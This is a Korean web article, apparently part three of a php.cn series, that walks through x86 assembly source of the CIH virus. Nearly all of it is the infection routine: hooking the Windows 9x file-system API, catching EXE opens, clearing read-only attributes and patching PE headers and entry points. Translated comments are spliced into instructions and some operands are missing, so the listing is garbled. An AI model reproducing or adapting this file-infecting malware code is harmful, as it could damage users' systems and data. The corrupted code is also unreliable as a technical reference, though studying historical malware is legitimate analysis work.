jmp ExitRing0Init ;Exit Ring0 level
;병합된 코드 크기
CodeSizeOfMergeVirusCodeSection = offset $
;새 IFSMgr_InstallFileSystemApiHook 함수 호출
InstallFileSystemApiHook:
ebx
call @4
@4:
pop ebx; 현재 명령어의 오프셋 주소 가져오기
add ebx, FileSystemApiHook-@4 차이와 오프셋은 FileSystemApiHook Offset과 같습니다.
;원본 IFSMgr_InstallFileSystemApiHook 함수를 호출하여 FileSystemApiHook 후크 연결
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax ;OldFileSystemApiHook 주소 조정
pop eax
pop ebx
ret
OldInstallFileSystemApiHook dd; 원래 InstallFileSystemApiHook 호출 주소
; IFSMgr_FileSystemHook 호출 항목
FileSystemApiHook:
@3 = FileSystemApiHook
push ad ; 저장 레지스터
call @5
@5:
pop esi mov esi, offset esi는 현재 명령어의 오프셋입니다.
add esi, VirusGameDataStartAddress- @5 ;esi는 FileSystemApiHook
의 오프셋입니다;; VirusGameDataStartAddress의 오프셋을 더한 차이는 VirusGameDataStartAddress의 오프셋과 같습니다
;"busy" 플래그를 테스트하고 "busy"는 pIFSFunc로 이동합니다
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc
; 파일이 열려 있지 않으면 prevhook
lea ebx, [esp+20h+04h +04h] ;ebx는 FunctionNum의 주소입니다
; 파일 시스템 후크의 호출 형식은 다음과 같습니다
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
;int ResourceFlags, int CodePage, pioreq pir)
🎜>; 이 호출이 파일을 여는 것인지 확인합니다. 그렇지 않은 경우 이전 파일 후크로 이동합니다.
cmp dword ptr [ebx], 00000024h
jne prevhook
inc byte ptr (OnBusy -@6)[esi] ; OnBusy 활성화 ;"Busy" 플래그를 "Busy"로 설정
;파일 경로에 지정된 드라이브 문자를 가져온 다음 드라이브 이름을 FileNameBuffer
에 넣습니다. 드라이브 문자가 03h이면 드라이브가 C 드라이브임을 의미합니다.
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 esi는 FileNameBuffer
push esi; save
mov al, [ebx +04h] ;ebx+4는 디스크 번호의 주소
;;UNC(Universal Naming Conventions) 주소인가요? 그렇다면 CallUniToBCSPath
cmp al, 0ffh
je CallUniToBCSPath
Add al, 40h
mov ah, ':'
mov [esi], eax ; "X:" 형식으로 처리됩니다. 즉, 드라이브 문자
inc esi
inc esi
뒤에 콜론을 추가합니다. 정규화된 유니코드 문자를 일반 BCS 문자 집합으로 변환합니다. 호출 메소드
; UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
; unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;문자 세트
push FileNameBufferSize ;문자 길이
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
Add eax, 04h
push eax ; Uni 문자 첫 번째 주소
push BCS 문자 첫 번째 주소
int 20h ; UniToBCSPath 호출
UniToBCSPath = $
dd 00400041h 호출 ID
add esp, 04h*04h
;파일이 EXE 파일인지 확인
cmp [esi+ eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
;다음 내용은 디버깅용입니다
cmp [esi+eax-06h ], 'KCUF'
jneDisableOnBusy
ENDIF
;판정 파일 존재 여부, 존재하지 않으면 DisableOnBusy
로 이동 cmp word ptr [ebx+18h], 01h
jne disableonbusy
; 파일 속성을 얻으십시오 >
jc 비활성화OnBusy
push ecx
; IFSMgr_Ring0_FileIO 주소 가져오기
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]
; 파일이 읽기 전용인지 확인하고, 그렇다면 파일 속성을 수정하고, 그렇지 않으면 OpenFile
test cl, 01h
jz OpenFile
mov ax, 4301h
xor ecx, ecx로 이동합니다.
edi 호출 ;IFSMgr_Ring0_FileIO 함수를 호출하여 파일 속성을 수정하여 파일을 쓰기 가능하게 만듭니다
;파일 열기
OpenFile:
;파일 속성
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi는 파일 이름의 첫 번째 주소입니다.
call edi ;IFSMgr_Ring0_FileIO 함수를 호출하여 파일을 엽니다
xchg ebx, eax ;ebx에 파일 핸들 저장
test cl, 01h
jz IsOpenFileOK
;파일 속성 복원
mov ax, 4301h
call edi;파일 속성 복원
;파일이 성공적으로 열렸는지 여부, 그렇지 않은 경우에는 DisableOnBusy
IsOpenFileOK:
popf
jc DisableOnBusy
파일이 성공적으로 열렸습니다.
push esi ; 스택에 파일 이름 데이터 영역의 첫 번째 주소
pushf ;CF = 0, 저장 플래그
add esi, DataBuffer-@7은 데이터 영역의 첫 번째 주소를 가리킵니다.
;새 파일 헤더의 오프셋을 가져옵니다.
xor eax, eax
mov ah, 0d6h;IFSMgr_Ring0_FileIO의 파일 읽기 함수 번호(R0_READFILE)
; 바이러스 코드 길이를 최소화하고 eax를 ebp
mov ebp, eax
Push 00000004h ; 4바이트 읽기
pop ecx
push 0000003ch ; 파일 헤더 오프셋 3ch
pop edx
call edi ; esi
mov edx, [esi] edx
로 파일 읽기; 그래픽 파일 헤더의 감염된 표시
dec edx
mov eax, ebp ; 함수 번호
esi로 파일 읽기
; 감염 여부
; WinZip 자동 추출 파일인지 확인합니다. 그렇다면 Self-Extractor에 감염되지 않습니다. *
cmp dword ptr [esi], 00455000h; PE 파일("PE/0/0" 표시)
jne CloseFile; 그렇지 않은 경우 파일을 닫습니다.
PE 파일이고 감염되지 않은 경우 파일 감염을 시작합니다.
push ebx ; 파일 핸들 저장
push 00h
; 바이러스 감염 플래그 설정
push 01h ; push edx는 PE 파일 헤더 오프셋 00h를 가리킴
push edi ; edi는 IFSMgr_Ring0_FileIO의 주소입니다
mov dr1, esp ; esp 저장
; Set NewAddressOfEntryPoint Entry
Push eax
mov eax , ebp
mov cl, SizeOfImageHeaderToRead ; 2바이트를 읽으려면
edx, 07h ;PE 파일 헤더 +07h를 추가합니다. NumberOfSections(블록 수)의 경우
edi를 읽고 NumberOfSections(블록 수)를
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; 파일 포인터
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax; address
;edx 값을 파일 바이러스 코드 블록 테이블의 시작 부분에 넣습니다
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx +12h] ; edx는 바이러스 코드 블록 테이블의 오프셋입니다
; 바이러스 코드 블록 테이블을 얻습니다.
mov al, SizeOfScetionTable 의 크기
mov cl, (NumberOfSections-@8)[esi]
mul cl ; 각 블록 테이블 항목의 곱 블록 수는 블록 테이블의 크기와 같습니다.
; 바이러스 코드 블록 테이블
lea esi, (StartOfSectionTable-@8)[esi] esi는 블록 테이블의 첫 번째 주소를 가리킵니다(바이러스 동적 데이터 영역)
위 내용은 다음과 같습니다. 바이러스 프로그램 소스코드 예제 분석-CIH 바이러스 [3] 관련 내용은 PHP 중국어 홈페이지(www.php.cn)를 참고해주세요!